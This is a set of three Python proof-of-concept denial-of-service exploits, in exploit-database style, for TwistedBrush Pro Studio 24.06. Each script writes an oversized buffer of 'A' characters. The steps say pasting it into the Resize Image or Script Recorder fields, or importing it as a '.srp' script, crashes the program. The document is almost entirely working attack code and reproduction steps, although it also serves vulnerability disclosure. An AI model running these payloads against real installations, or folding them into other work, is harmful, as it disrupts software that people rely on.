Three different proof of concept exploits for TwistedBrush Pro Studio version 24.06 denial of service vulnerabilities.
dbde3c961f41aa9c5e497b02aad39aa2# -*- coding: utf-8 -*-
# Exploit Title: TwistedBrush Pro Studio 24.06 - 'Resize Image' Denial of Service (PoC)
# Date: 13/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.pixarra.com
# Software Link http://www.pixarra.com/uploads/9/4/6/3/94635436/tbrusha.exe
# Version: 24.06
# Tested on: Windows 10
# Proof of Concept:
# 1.- Run the python script "TwistedBrush _resize.py", it will create a new file "PoC.txt"
# 2.- Copy the text from the generated PoC.txt file to clipboard
# 3.- Open TwistedBrush Pro Studio
# 4.- Go to 'Image' > 'Resize Image...'
# 5.- Paste clipboard in the 'New Width/New Height' field
# 6.- Click OK
# 7.- Crashed
buffer = "\x41" * 1000
f = open ("PoC.txt", "w")
f.write(buffer)
f.close()
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# -*- coding: utf-8 -*-
# Exploit Title: TwistedBrush Pro Studio 24.06 - 'Script Recorder' Denial of Service (PoC)
# Date: 13/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.pixarra.com
# Software Link http://www.pixarra.com/uploads/9/4/6/3/94635436/tbrusha.exe
# Version: 24.06
# Tested on: Windows 10
# Proof of Concept:
# 1.- Run the python script "TwistedBrush_recorder.py", it will create a new file "PoC.txt"
# 2.- Copy the text from the generated PoC.txt file to clipboard
# 3.- Open TwistedBrush Pro Studio
# 4.- Go to 'Record' > 'Script Recorder...'
# 5.- Paste clipboard in the 'Description' field
# 6.- Click 'Brush' button
# 7.- Crashed
buffer = "\x41" * 500000
f = open ("PoC.txt", "w")
f.write(buffer)
f.close()
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# -*- coding: utf-8 -*-
# Exploit Title: TwistedBrush Pro Studio 24.06 - '.srp' Denial of Service (PoC)
# Date: 13/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.pixarra.com
# Software Link http://www.pixarra.com/uploads/9/4/6/3/94635436/tbrusha.exe
# Version: 24.06
# Tested on: Windows 10
# Proof of Concept:
# 1.- Run the python script "TwistedBrush_player.py", it will create a new file "sample.srp"
# 2.- Open TwistedBrush Pro Studio
# 3.- Go to 'Record' > 'Script Player...'
# 4.- Click 'Import' button, select the 'sample.srp' file created and click 'Open' button
# 5.- Crashed
buffer = "\x41" * 500000
f = open ("sample.srp", "w")
f.write(buffer)
f.close()